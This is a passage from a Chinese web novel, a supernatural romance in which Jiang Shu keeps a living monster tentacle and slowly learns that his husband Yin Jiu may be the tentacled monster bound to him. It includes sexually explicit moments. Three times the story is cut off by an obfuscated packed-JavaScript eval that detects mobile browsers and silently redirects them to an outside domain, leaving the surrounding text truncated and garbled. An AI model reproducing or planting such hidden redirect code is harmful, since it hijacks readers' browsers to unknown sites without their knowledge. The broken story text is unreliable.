而男人变成了怪物不断舔舐他哥的血,用诡异的触手缠着他哥,触手像融化一样与他哥的身体融为了一起,最后带着他哥一起钻进了海里。 他不确定这是他见过怪物想象出来的,还是被他刻意遗忘过的回忆,不管是什么他都不想再去回想,把照片放下,闭起眼睛冷静。 怪物的存在就是为了找到和祂绑定的人类,并且对那个人类有特别的感情,会想和他在一起,但最后却要“吃”了对方,自己也变成没有理智的真正怪物。 那魆这种存在,存在的意义是什么? 江树想不通这个问题,干脆不想了,反正他想知道的已经都知道了,他哥也回不来了,他也不必弄清怪物到底为什么存在。 触须该怎么办? 他突然想起玻璃罐里的触须,一直保存着是想触须会有什么关于怪物的线索,以后他不用再找怪物了,触须也没用了。 他走到藏触须的柜子前,想打开又犹豫了,上次触须的可怕还让他心有余悸,他就蹲在柜门前思考。 要不把触须扔回海里?可那毕竟是怪物的一部分,万一随便丢到哪里也吃人怎么办! 江树沉思半晌,突然脑子机智地一转,他可以把触须捐给异管协会研究,这截触须在玻璃罐里活了一年多,应该很有研究价值? 可惜他忘了要周倚龙的联系方式,要不去找他咎哥? 但他要怎么说?他咎哥知道他在房间里偷偷养了这种恶心玩意一年,会不会也觉得他很恶心? 他要是说为了感谢周倚龙救他,想对周倚龙道谢,他咎哥应该会把电话给他。 想好理由江树当即把柜子打开,看到最里面的背包他又犹豫了,这回他想起的是最后那个巨大的怪物,突然发觉那个大怪物的触须,好像和玻璃罐里的触须,有点像。 这个念头让他一阵恶寒,倏地把柜门关回去,逃出了衣帽间。 玻璃罐里的触须在柜门关过去的瞬间,变得通体红色,诡异的红光照透背包,映红了整个柜子。 触须不断分生出根须,瞬间塞满了整个玻璃罐,像是要挤破玻璃出来,可最后祂还是缩回去了,在罐底摊成了一张“饼”。 第二天下楼,江树把装触须的背包又拧上了,他以为殷咎也不会问他背包里是什么,结果刚坐下来,殷咎的目光就落在包上。 “里面是什么?” 江树被问得毫无准备,看着殷咎脑子编了半天,最终干脆把背包打开,抱出玻璃罐放到餐桌上,指着里面的触须问殷咎,“咎哥,我说这是我一年前从海边捡回来的,其实是怪物的一截触须,你信吗?” 触须对着殷咎竖起来,又尴尬一样塌回去,江树奇怪地拍了下玻璃罐,视线转过去看殷咎的反应,殷咎的表情比罐子里的触须还怪异。 “信。” 殷咎轻声回了一个字,江树就向他说起了捡到触须的经历。 “那天是我20岁生日,我爸一副大方的样子问我有什么心愿,我说我想去学修车,他却骂我不上进,非要送我去留学。我连汉语都没学好留什么学!就和他吵了一架骑车去了海边,在那里遇到了一个人。” 江树回忆起来眼睛仍在发亮,“天太黑了,我没有看清那个人的脸,可是他站在海里,被月光照亮的身影我感觉就像是海妖。” 怕殷咎不懂他说的是什么,连忙解释,“海妖就是我们岛上的传说,说是一种专门勾引人的妖怪,每当月圆的时候就会出来,要是有人看到祂,就会被迷住,然后被带进海里。” “你被迷住了?” 殷咎突兀地问了一个问题,江树蓦然一怔,连忙摇头,“我没有,不是的,我是说他很好看!可惜他好像准备跳海,我连忙去救他,但他被浪打进海里,我潜下去怎么都没有找到他,就是那时在海里看到了一个非常可怕的怪物,就和——” 江树突然顿住,这一次他是觉得那时见到的怪物,就和昨天的触须怪物很像。 不对,一个在海里,一个在空中,应该不是同一个吧? 江树不太确定,接着说下去,“——反正我就被那个怪物抓住了,拼命逃脱,好不容易才逃上岸,发现手里抓着这截触须……然后,我就把祂装在这里面,已经一年多了还活着,是不是很恶心?祂还会变成更恶心的样子,你还是别看了——” 怕恶心到他咎哥,他连忙把玻璃罐装回包里,完全没注意到他咎哥手背上的青筋都快能爬出来了。 收好玻璃罐他才再去问殷咎,“咎哥,我想把祂捐给协会研究,你能不能给我他们的电话?” 殷咎目光钉在江树脸上,眼神看不出一丝异常,只是好一会儿才拿出一张名片给江树,“这个号码,你打过去找徐主任,就说是我给你的。” 江树接过名片,连他咎哥的手也一起接住了,捧在手里问:“咎哥,你是不是觉得我保留这种东西很变态?” 殷咎所有感官都集中到了被江树握着的手上,这是江树第一次主动这样握他的手,他一半嘴角克制不住笑意,一半又不自觉地下沉,余光瞥着江树的背包。 里面的触须已经扭曲得从玻璃罐里透出来,在包里面爬满了,一截触须探出了拉链的缝隙,朝着江树伸了伸,但没敢再继续往外冒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15451905|167938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他反握住了江树的,克制不住地蹭着江树的掌心回答:“没有。” 江树掌心被殷咎的指腹摩挲得发痒,连忙收回了手,一本正经地说:“咎哥,吃手了、不是吃饭了。” 殷咎轻碾着指腹,然后凑到了鼻间深深地吸气,转眼过去看到了江树偷瞥他的目光,他微微一笑,“不是吃饭?看我做什么。” 江树的手掌悄悄擦在腿上,越擦感觉越烫,他红着耳尖说:“吃,咎哥你也吃。” 两人就这么看似尴尬,又看似亲近地慢慢吃完了早餐,殷咎又把江树送出了门。 管家在后面看着江树的车骑远,小心翼翼地问殷咎,“老板,您真的要让夫人把——给协会研究?” 殷咎转回轮椅朝他狠狠瞪了一眼,他连忙捂住了喉咙,实相地闭嘴,心里悄悄地大呼殷咎是个抖M,这是他最近才学会的新词。 这一天江树上班上得心不在焉,他没事就从兜里掏出殷咎给他的名片,每次准备拨号码他又开始犹豫。 他不想承认,但和触须“相处”了这么久,想到电影里那些研究未知生物的桥段,他就于心不忍。 触须是怪物,至少会害死一个人,他没有对怪物不忍,只是从触须的角度去想,被天天解剖,天天往祂身上注射什么毒什么的。 总之那些电影里研究怪物的实验,在触须能听懂他的话,甚至认识字的前提下,他觉得太不人道,还不如直接弄死。 但是触须在玻璃罐里一年不吃不喝都没事,要怎么弄死?而且要他亲自动手,他也下不去手。 “好烦!到底要怎么办?” 吴子涵见江树一整天都在挠头,忍不住问他,“你又跟你的好兄弟老公吵架?” “不是!” 江树想问吴子涵的建议,话到嘴边又自然地止住了,度假村里怪物变成的人和真正的人没有区别,在变成怪物前完全感觉不出哪里是怪物。 如果公开,普通人都知道周围可能有怪物变的人类,绝对会引起恐慌,不知会造成什么后果,政府掩藏怪物的存在不是没道理的。 最终,他只能说没事,继续自己挠头。 终于到下班时间,江树把触须带来又带回去,车刚骑出车库就看到路边停着一辆车,周倚龙靠在车前盯着他,像在确认他是谁。 他想到可以把触须交给周倚龙,至于周倚龙拿回去要怎么处理,他不去问就好了。 于是他把车骑过去,摘下头盔问:“周队,你来这里是找我?” 周倚龙终于确认了是江树,顿时严肃地站直,上下打量着他问:“对。你身体怎么样?有没有什么?” “没有。”江树肯定周倚龙找他不是来关心他身体的,果然周倚龙突然十分凝重地开口。 “江树,你已经知道了昨天晚上见到的、是什么了对吧?” 江树想起周倚龙给他看的证件确实写的是警察,但不是哪个公安局,多半和殷咎说的异管协会有关。 偃胜一路出事那天,还有昨天度假村他都看到了“YGXH”的标记,这个“YGXH”多半就是异常危险管理协会。 那周倚龙肯定也知道殷咎资助了协会,也能猜到殷咎会告诉他怪物的事,点头说:“我咎哥告诉我了,他们叫魆。” 听到咎哥周倚龙猜到是指殷咎,他想起昨晚殷咎带走江树的画面,还是觉得不可思议。 殷咎在外的传闻很不好,说他冷血暴戾,说他为了利益什么手段都使得出来,当时殷咎传出结婚,许多人都觉得那个结婚对象肯定会很悲惨,果然没多久就传出被殷咎折磨进了精神病院,所以殷咎才从来不肯带出来公开露面。 但昨天他看到的和传闻完全不同,殷咎对江树有种近乎变态的好,尤其看江树的眼神,他见过了许多魆,有一刹那他感觉殷咎看江树,就仿佛魆看到了蜕骸者。 他深吸了一口气,还是决定告诉江树,“那他有没有跟你说过蜕骸者?” “退孩子?” “是蜕骸者,魆伪装成人混在人类当中,捕猎人类。但每一个魆都有一个特定的人类,是祂的蜕骸者,意思就是能让他蜕去人类的伪装,露出怪物的真面目,所以称那些特定的人为蜕骸者。” 江树脑子一下绕住了,周倚龙和殷咎说的是同一件事,可是周倚龙表达出来的和殷咎所说的,却感觉是两个极端。 周倚龙接着说:“魆遇到祂的蜕骸者,就会吞噬对方,最后蜕化成没有理智,只知道嗜血的怪物,这种蜕化后的怪物我们叫魆骸,就是昨晚最开始你看到的那种。” 江树好像理解了,又没理解,他问周倚龙,“这跟你找我有什么关系吗?” 周倚龙顿了好一会儿才告诉他,“你还记得昨晚最后的那个巨大的魆吗?” 他点了点头,“怎么可能会忘。” “你可能就是祂的蜕骸者。” 13.第 13 章 # 013 江树脑中轰然一声,仿佛没有听懂周倚龙的话,又仿佛一刹间理解了那个怪物为什么让他感觉不同。 他不愿相信地问:“你是说、我就是、那个可怕的触须怪绑定的人?祂想跟我谈恋爱,最后吃了我?” “谈恋爱?”周倚龙无语,“你家先生是这么告诉你的?简直荒谬,魆伪装成人只是为了更容易接近人类,什么谈恋爱,那是欺骗感情,让你不知不觉被祂吞噬而已。” 江树不想否定他咎哥的权威性,可周倚龙说的他确实更能理解。 怪物怎么会对人有感情,怎么会和人谈恋爱,只是欺骗,就和当年那个怪物变成男人欺骗他哥一样。 周倚龙看江树被吓到了,连忙安慰,“江树,我知道这很难接受,也很可怕,所以我必须告诉你,不然你可能到最后才发现自己被欺骗了。” 江树深深地吸气,花了半分钟接受了这件事,他问周倚龙,“那我现在该怎么办?祂还会来找我吗?” 周倚龙点头,“祂可能已经在你身边了,你想一下最近有没有什么人,对你的态度很奇怪的?” 江树脑子转了半天,念出了贺祈的名字,“贺祈。” “贺祈?是谁?你们现在是什么关系?他对你做过什么吗?” 周倚龙这一问,江树觉得贺祈确实可疑了。 那天他去会所的案发现场,触须告诉他遇到了怪物,但他没有感觉哪里有怪物出现的迹象,现在想来触须指的可能就是贺祈。 贺祈一见他就是像认识他的态度,明知道他说的是殷咎,还一个劲地要他坑殷咎的钱离婚,怎么看都显得不正常。 他笃定地告诉周倚龙,“我咎哥的律师,在白檀山别墅区开了家律师所,叫黑砂。一定就是他。” “黑砂?” 周倚龙听到这个名字眉头一蹙,江树问:“怎么了?” 他连忙说:“没什么。我会先去确认你说的这个人是不是魆,从现在开始你不要再接近他,如果他找你尽量回避,最重要的是不要和他发生关系。” “发生什么关系?” 江树这个问题问得太天真,周倚龙老脸一红,“性、关、系。” “性——!” 江树吓得眉毛差点从脸上跳出去,又想起他哥最后,瞬间理角了周倚龙的意思,和周倚龙一起脸红地回答,“如果祂强迫我怎么办?你也看到了那么大的怪物,我、我也反抗不了啊!” 周倚龙轻咳了一声正回话题的内容,“所以你要躲着祂,不要给他机会,在你们发生关系前,祂不会伤害你的生命。可一旦你们发生了关系,祂就会蜕化。 那个魆的等级至少在灾难级以上,如果发生蜕化,祂失去理智,整个偃海市的人可能都要死。” 江树蓦然怔住,他从来没有考虑过这方面,一直觉得怪物杀害的就是只几个人,不由地问:“祂有这么可怕吗?” “是。魆也分很多种,祂的能量现在也只是预估,说不定会比这更强大,所以无论如何,你一定不要接受祂,明白吗?” 江树连连点头,他不想死,也不想害全市的人死,周倚龙叮嘱他,“如果遇到什么情况,就给我打电话,你的手机是多少?” 他说了号码周倚龙直接打过来,然后说:“这件事你不要跟你家先生说,也不要告诉别人,如果祂知道你发现了,可能会采取极端的行为。你发现有任何不对,都给我打电话,明白吗?” “你会马上来救我吗?” 周倚龙一笑,“放心,在我们确定祂的身份前,会有人随时在你附近保护你。” 江树立即往周围看,“哪里?” “为了避免被祂发现,你知道有就行了,不用知道是谁。” 江树觉得有道理,如果他知道是谁一定会不停注意对方,到时就被祂发现了。 可他还是不自觉观察周围的人,看了一圈没看出谁有嫌疑。 周倚龙最后对他说:“记住我说的,无论如何都不能与祂发生关系,晚上尽量不要出门。我还有事,有事就给我打电话。” 江树感觉周倚龙很忙,说完就走了,看到周倚龙的车开走他才想起没说触须的事,不由地看了眼背包。 触须除了那天一下变得很吓人之外,实际上这一年多都没有伤害过他,而且被关在玻璃罐里,如果有什么危险肯定早就发生了。 最终他决定暂时把触须留下,至少还能感应到怪物,说不定可以提醒他那个巨大的怪物来了。 他蓦地提起背包对里面的触须说:“以后你乖乖的,就不送你去研究了。明白吗?” 包里的触须一瞬间从一滩竖成了一根,疯狂地撞在玻璃罐上,想让江树打开看祂一眼。 但江树没有,放下背包就骑车走了。不过江树不不要祂了,江树还是舍不得祂,瞬间祂把触须团成了一个心形,贴向了靠近江树那边的玻璃内壁。 江树到家殷咎又没在,他问管家,管家说:“老板上班还没有回来。” 他们结婚一年殷咎基本没有加过班,他一直以为当老板都是很闲的,难道殷咎最近集团突然忙起来了? 江树每天干着咸鱼一样的工作,理解不了老板到底应该忙什么,他上楼把触须又藏回了衣柜,又下楼在客厅等殷咎。 可他一坐下脑子里就不断想起周倚龙的话,不断想起那个巨大的怪物。 他手臂上的伤口已经差不多愈合了,可他看着伤口,仿佛还能感觉到怪物的触须贴在上面,温柔小心的动作像极了殷咎。 周倚龙问他的时候他没有说,实际上他觉得那个怪物一点不像贺祈,给他的感觉,反而很像他咎哥! ——住脑!你在胡思乱想什么! 江树强行止住了脑中的念头,为了防止他再乱想,拿过平板看起了墓地,他是真的打算给他哥买块墓地。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454601|167938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>管家发现江树坐在沙发上发呆,轻手轻脚走过去,从沙发后瞟到一眼他手里的平板,没能维持住优秀管家的优雅,震惊地问:“夫人,你准备给老板买墓地了吗?” 江树才发现背后有人,也被吓了一跳,回头对管家说:“你别乱说!怎么可能!” 其实不是管家乱说,是殷咎从昨晚开始就透着一股瘆人的寒意,别墅里的佣人全都战战兢兢,甚至有人问他是不是闹鬼了,说把空调调到了30度还是觉得冷。 刚刚殷咎都还在这里瘆人,像随时要发疯毁灭世界,江树回来才躲去了地下室。 他好奇地问江树,“夫人,您不是给老板买,给谁买?您自己吗?” 江树觉得管家虽然语气总是很恭敬,可常常说出的话很没情商,他懒得纠正地回答,“给我哥买。管叔,你帮我看看,哪种好?” 管家应邀坐到江树旁边,接过平板开始挑选,一眼选中了最贵的一块,“我觉得这个不错,非常能彰显您哥的身份气质。” 江树凑近一眼,三百八十万,坚决维护他哥的身份气质,“我哥不可能喜欢这种!” “夫人,您哥还活着?” 管家满眼震惊,江树怀疑管家是殷咎从哪里买来的机器人,无语地说:“他活着的时候不喜欢这种!我们在海岛上长大,他最向往的是一望无际的陆地。” 江树说着回忆起来,“小时候他就跟我说如果他去了陆地上,一定要找一个在山谷里的村子,到处是梯田,没有海风,一年四季都很平静,也再也不用去打渔。” 管家充分理解了江树的需求,接道:“夫人,您说的是这种吗?” 江树不太信任管家的眼光,管家就在他的眼皮底下找出了他说的哪种。 确实是在山谷里,也确实有梯田,但人家卖的不是墓地,卖的是别墅。 “管叔,你要我给我哥买套房子吗?” 江树本来是反对的意思,可说觉得也不是不行,把平板接过来说:“我看看。” 这回管家反而质疑他,“夫人,您哥到底死没死?” “死了!” 江树瞥眼向管家瞪去,突然又难过了,他放下平板说:“他被、人害死了,那个人骗他的感情,说要带他离开,最后却害死了他。” 管家看着江树突然伤感的表情,还想安慰,但突然感受到了死亡凝视,连忙捂紧喉咙站起身恭敬地对江树说:“夫人,我还有事情没有处理,容我先告退了。” “哦。”江树还沉浸在难过中,管家走到他背后才想起来,连忙问,“管叔,咎哥今天是不是又在开会?有没有说什么时候回来?” 管家回想殷咎躲去地下室什么也没交待,如实回答:“老板没有说。” 江树坐回去,脑中胡乱的念头又冒起来,他连忙拿出手机给他咎哥打电话。 拨通后他咎哥没接,但隐约听到他咎哥的手机铃声,从地下室传来。 14.第 14 章 # 014 地下室有一个下沉式花园,客厅旁边有楼梯下去,江树想也没想就翻过沙发,朝楼梯跑去。 可铃声一下消失了,听筒里传来他咎哥的声音,“我今天临时出差,不用等我吃饭了。” 江树的心情像脚步一样僵,他站在楼梯口捶着无辜的栏杆,好半晌才回答:“那你什么时候回来?为什么突然要出差啊?” 他和殷咎结婚一年,殷咎从来没出过差,他以为老板都是不用出差的。 殷咎也好一会儿才说:“临时加的,明天结束就回来。” “好吧。你吃晚饭了吗?在什么地方睡觉?你都没有出过差,会不会认床睡不着?” 江树问出了一连串的问题,殷咎的嗓音忽地沉下来,只回了他一句,“我没事,不要担心我。” 他才发现他是在担心殷咎,心里冷不防冒起了一股委屈。他不想跟殷咎说他可能会被怪物吃了的事,可他从来没有像这一刻,这么希望殷咎在他身边。 他抓心挠肺地想殷咎像平时一样握着他的手,想殷咎抱着他,甚至希望殷咎可以像昨晚那样吻他的手心。 “怎么了?” 殷咎的声音温柔地钻进他的耳中,他吸了吸鼻子说:“你早点回来,看不到你我不习惯。” 此刻,楼梯下面的地下室里,殷咎想要立即冲上去,告诉江树他回来了。 可他一下也没有动,深深地喘出一口气完全贴进沙发里,手臂上无法维持伪装的触须一条条从皮肉分裂出来,撕破了他穿得一丝不苟的西装,飘扬到空中不断扭动,发着腥红的光发胀蠕缩。 他努力克制着喘息的喉咙,声音又低又哑地问:“江树,你想我吗?” 江树心跳猛烈一颤,他抓紧了扶手的栏杆,然后轻轻地回了一句,“嗯。” “乖,我明天就回来。” “嗯。” 殷咎的嗓音越温柔,他的声音越来越小,最后连他自己都听不见地说:“我挂了,你要好好吃饭,好好睡觉。” “好。” 可殷咎好完了许久,江树都没有挂电话,还反过来问他,“咎哥,你怎么不挂?” “我等你先挂。” “好吧——”江树还想说什么,又不知道说什么,终于不舍地挂了,然后缩下去直接坐在楼梯的台阶上,把脸埋进腿上,藏住了他红透的脸。 而此刻地下室隐秘的房间里,已经布满腥红的触须,诡艳妖异的红光映得殷咎也成了红色,他已经不似人类的双眼发着同样腥红的诡光,身上的正装除了被撕裂的部分仍旧一丝不苟地穿着,唯一只露出了一处。 他低垂着头沉声喘息着,眼镜反光挡住了他的双眼,将他快要崩溃的狂欲藏在后面,他一边想象江树像那天一样站在他面前,一边又自己开始,把房间铺成了巢穴的触须也随着他的动作,重复着拱起又落下的起伏,仿佛在不断地吟喊。 ……呃……江树……宝贝……再舔一下……好乖…… 管家发现江树坐在楼梯上,过去问他怎么了,他慌忙站起来,“没什么、咎哥说今天出差,不回来了。” “原来是出差。” 江树感觉管家这句像是说殷咎不是真的出差,问他,“怎么了?他不是去出差吗?” 管家马上否认,“是,老板说出差就是出差。” 江树信管家会胡说,但不信殷咎会骗他,不过他说殷咎不在他不习惯是真的,连吃饭都没胃口了,随便吃了点就上楼。 管家甚至给他拿了一瓶冰红茶,说殷咎不在他可以偷偷喝,他却一点也不想喝,赶走了管家去洗澡睡觉。 然而,明明殷咎一直和他不睡一个房间,但一想到殷咎今天没有在家,他翻来覆去都睡不着。 到了半夜他还没睡着,把自己也烦到了,爬起来偷偷摸摸跑去了殷咎的房间,爬上了殷咎的床,然后抱着殷咎的枕头。 上面仿佛还有殷咎的味道,他把脸埋上去悄声地自言,“咎哥,我好想你。” 第二天是周末,江树不用上班,睡起了懒觉。 管家收到他的快递上楼问要放哪里,结果看到江树顶着黑眼圈从殷咎房间出来。他不顾管家的优雅,好奇地问:“夫人,您怎么在老板房间睡觉?” 江树一身没睡好的起床气,狠狠瞪了管家一眼表示,“我喜欢。” “好的。”优秀的管家从来不质疑主人的喜好,找回了他的优雅问,“收到了您的快递,您要自己拆吗?还是我帮您?” 江树想起他买的做蛋糕的材料,虽然他告诉吴子涵只是随便看看,实际还是买了。顿时忘了起床气,对管家说:“帮我放到西厨,不要告诉咎哥。” 管家看江树神神秘秘,下楼等江树把快递都拆开了,他才知道江树准备做蛋糕,还叮嘱他去外面守着,如果他咎哥回来马上通知他,不能被他咎哥发现。 江树真正动起手,才发现他没有厨艺的天分,小时候他时常要做一家人的饭,即使回到江家再也没有进过厨房,他也一直自信做个蛋糕有手就会。 结果他连蛋清都打不好,明明是按教程一步一步做的,但就是和教程里的不一样。最后他还是求助家里的厨师,才终于做出了一个勉强能吃的蛋糕坯。 他拿着蛋糕坯就开始想象殷咎会怎么夸他,兴奋地进入下一步。 然而,他做完三个蛋糕殷咎都还没回来,就开始心不在焉了,好不容易听到手机响,立即扔下手里的蛋糕去接,打电话的却是周倚龙。 “江树,怎么样?贺祈有没有找你?” 江树失望地回答:“没有,怎么了。” “我就问问,如果他给你打电话,或者发信息也告诉我。” “嗯,知道了,就这样。” 江树就这样挂了,周倚龙隔着听筒也感受到了他的不高兴,担心出事了,通知在江树那边待机的同事去看看,接着收起手机去开会。 会议室的门窗都关得暗无天日,只有投影仪发出的光在幕布上投出一张同样漆黑的照片,仔细看才能发现几条隐约的触须轮廓。 主持会议的是支部的副部长,一个有些中年肥的男人,他站在幕布旁指着照片说:“这是前天在烂尾度假村出现的魆,这是一年前在东湾海边出现过的‘幽魂’,根据对比可以肯定就是同一个,评级暂保持灾难级。” 每一个上高危级的魆,协会都会起一个代号方便称呼,高危级指的是魆一旦蜕化失控,造成的危害已经影响到周边完全无关的普通民众。 危害的范围越广,危险等级越高,灾难级顾名思义,至少就等于同一场灾难。 周倚龙翻着手里的档案,他还记得一年前“幽魂”出现的情况,当时引发了海啸,但不知发生了什么“幽魂”自己冷静下来了,然后他们再也没有检测到祂的踪影。 领导视线突然向他这边指过来,“倚龙,你查得怎么样了?” “我查了江树身边最近出现的人,这个贺祈的很符合魆伪装人类的特征。” 周倚龙把贺祈的照片群发出去,领导怀疑地问:“这真是你查出来的?你不是去找江树了吧?上面都说了尽量不要接近他,要对他保密。” “我只是随便问了下情况,没有说他是蜕骸者的事。” 周倚龙谎话说得丝毫不心虚,并且反驳回去,“上面也说了尽量,他们又不是不清楚灾难级的危害,而且不告诉江树真正,他们真的考虑过江树的安危吗?一无所知就是最危险的!” 领导一时有些哑言,周倚龙说得没错,但保密也没错,他们不能保证江树不会泄露出去,如果真的泄露出去,造成恐慌危害更大。要是惹怒了“幽魂”,祂会做什么更是谁也无法预料。 即使抛开这些都不谈,他们研究,武器,行动方方面面都需要经费,上面给的那点根本就不够,没有殷咎的资助他们现在的武器肯定都还停留在第二代。 最终他长叹了一口气,“算了,说正事,你查到了什么?” “贺祈的户籍最初在偏远的山区,除了名字几乎没有留下任何信息,14岁时离开老家就再也没有回去过,村里已经没人认识他。18岁被申亥集团的公益项目选中,重回学校,至此才有了完整的身份信息。” 他说完,旁边同事接话,“申亥集团,不就是殷董事长名下的?” “没错,他考上大学学的法学,毕业6年就成立了自己的律所,并且成为殷咎的私人律师,到现在也已经6年,两人的关系匪浅——” “等等。”领导打断周倚龙,“你想说你怀疑殷董事长也有问题?” 周倚龙反问:“不许接近江树,究竟是谁下的命令?” “这个确实是殷董事长的要求,他不希望自己的伴侣陷入恐慌也能理解。” 周倚龙不认同这个理由,但要他说到底怀疑殷咎什么,他也说不出来,唯一能算的点就是贺祈刚好是殷咎的律师,可这说是巧合他也无法反驳,于是转回话题。 “先不说他,贺祈的律所名字叫黑砂,我没办法不联想到‘暗砂’。如果贺祈真的是暗砂成员,这可能是我们抓到暗砂行踪的机会。” 领导听到“暗砂”两个字就头疼, “一个暗砂,一个长尾,我上辈子一定穷凶极恶,这辈子才遇到祂们——” 他说完发现一桌人全直勾勾盯着他,连忙挽回,“刚刚的当没听到!现在最重要的是确认‘幽魂’的人类身份,想办法彻底将祂和江树彻底隔离,防止祂蜕化的可能。” “周队,你觉得是贺祈的可能性有多少?要不是你还没有查到别的人选?” 一人转过去对周倚龙问,周倚龙沉思了片刻,突然站起来,“我又不是算命的,不讲什么可能性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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目光从玻璃望出去,他看到了马路对面周倚龙的车,“协会的人怎么会来这里?我可没暴露身份。” “江树跟协会的人说了他是你的蜕骸者。” 殷咎像说什么跟他无关的事,贺祈差点把尾巴甩出来,震惊地质问:“他为什么要说是我?你知道不阻止他?” 刚刚还要毁灭世界的殷咎,忽然勾起嘴角笑了笑,像说了什么值得他骄傲的事,他突然明白殷咎就是故意的,协会把江树误会是他的蜕骸者,就不会再有人怀疑到他。 要不是干不过,他一定狠狠揍殷咎一顿,不然他迟早要被殷咎和江树两口子坑死。 然而,现实就是他干不过,只能无奈地对殷咎说:“我去赶他走。” 周倚龙在车里,看着贺祈向他走来,意识到他被发现了。 贺祈走到他车门前,敲了敲车窗理直气壮地说:“喂,你把车停这里防碍我做生气了,麻烦停到停——” 他随手掏出一个比指头大点的方片,像一些方便注射的疫苗,他夹在手指中间打开车门下去,迎上贺祈那张像是经过精雕细琢的脸,客气地伸出手说:“不好意思,我在等人。” 魆变成人类与人类没有任何区别,唯一能检测出来不同的只有DNA,协会为了方便识别是不是魆伪装的人类,发明了一种特殊的试剂,只对魆的血液有反应,轻轻一贴就能确定对方是人还是魆。 贺祈没有反应地直直愣住,双眼像要在他脸上钻出两个洞一样盯着他,有一瞬间他怀疑是不是他才是怪物,要把贺祈吓晕过去。 他靠向贺祈,轻轻扶向了对方的小臂,“喂?你怎么了?” “我——” 贺祈只说了一个字声音就哽住,他的心脏狂跳,血液翻涌,快要维持不住人形。 可是他像是被周倚龙定住了,双脚死死地焊在地上,一步也不想离开,周倚龙的手碰到了他的手臂,他更是像有什么在他身体里炸开。 周倚龙却只碰了他一下就把手拿开,对着他说了什么,他完全没有听清,直到周倚龙把车开走,他本能地追上去才意识到不对。 这个男人,好香。 好香。 好香! 刚刚他在楼上闻到的就是这个香味,他脚下开始维持不住双腿,才连忙退回别墅,躲进一间没人的房间。 他跌坐在地上,双腿已经完全变成了鱼尾,他却不自觉地把周倚龙碰过的手臂凑到鼻间。 好香。 真的好香。 他好想把刚才的男人禁锢起来,只在他身下这么香。 两条触须突然伸过来拉开了他的手臂,他抬头看到殷咎站在他面前,触须指着他手臂上多出的两外针孔,殷咎声音冰冷地告诉他。 “他是你的蜕骸者。” 一刹间,贺祈明白了,原来确认蜕骸者根本不用那么久,只要一眼,一个瞬间。 他茫然地对着殷咎,心中涌出了无数的情绪,好像懂了殷咎为什么会因为江树开始喜欢他,那么痛苦。 15.第 15 章 # 015 江树做了一天蛋糕,也吃了一天蛋糕,还拉着别墅里的人跟他一起吃,都没有吃完。 他精挑细选了一块最完美的,守着等殷咎回来,等到晚上殷咎终于回来了。 可是见到殷咎那一刻,他没有想的那个开心,甚至看到殷咎的轮椅开过来,还横生出了满腹的委屈。 他坐在椅子上不动,殷咎的轮椅停到他面前,先是盯着他。 江树不知在殷咎在看什么,看了半天终于抓到他坐的椅子,把他连椅子一起转过去与他面对面。 然后殷咎抓起了他的手,紧贴着他的手心握过来开口,“等很久了?” “嗯。蛋糕都凉了。” 他不自觉吸了吸鼻子,也不知道自己到底在难过什么,忽然扑到了殷咎的轮椅上,抱住了殷咎,“咎哥,你下次出差可不可以不去这么久?要不你带我去,我不想一个人。” 江树一条腿跪在了殷咎的膝盖中间,殷咎嗅着江树颈间的气息,江树这样比他想象的诱惑更大,好不容易克制下去的欲望又疯狂在躯壳里跳动起来。 他明知道他可能又会克制不住,可是本能驱使着他勾住了江树的腰,往他这边一按,江树就趴下来,完全跌在他怀里,他轻轻地抱过去说:“对不起,不要怪我好不好?” “嗯。”江树的声音闷在了殷咎的颈窝里,鼻尖蹭到了殷咎的锁骨,一开口呼吸全喷在殷咎皮肤上,“我没有怪,我、我想你。” 殷咎的心跳都滞了一瞬,他垂下眼,江树正好悄悄地向他望,视线碰在一起就再也分不开,他轻轻摸到了江树的脸,拇指十分顺手地就到了江树唇上,不由自主的靠近。 可是他感觉到江树呼吸吹进了他唇间,蓦地放开了江树,“你吃饭了吗?” 江树不确定刚刚是不是他的错觉,他觉得他咎哥好像是想吻他,顿时意识到他又坐到了殷咎腿上,连忙推开殷咎站起来,手足无措地嘿嘿干笑,“我当然、已经吃过了!你吃了吗?我给你留了蛋糕。” 殷咎目光瞥向了桌上那块巴掌大的蛋糕,什么也没说,轮椅移过去就开始吃。 江树在一旁期待地问,“怎么样?咎哥,好吃吗?” “嗯,你要尝尝吗?” 他刚说他吃过了,殷咎手指就抹到了盘子底沾的奶油,一手揽住他的腰,又把他勾过去跌在了轮椅上,然后把沾了奶油的手指送到他嘴边,诱哄似的说:“张嘴。” 这很不对,哪里都不对。 可江树还是听话地张了嘴,殷咎就把手指喂进了他嘴里,极近地贴过来在他耳边说:“尝尝。” 江树神奇地听懂了殷咎的意思,舌头舔到了殷咎的手指上,奶油清甜的味道在他舌尖散开,慢慢只剩下了殷咎皮肤的味道。殷咎不把手指拿走,他就继续舔,甚至不自觉地把手指吞到了更里面,舌尖卷到了指节,而他脑中又想起了殷咎的这只手自己动的画面,他没觉得恶心,反而呼吸变得了喘息,他含糊不清地叫了一声。 “咎哥——” 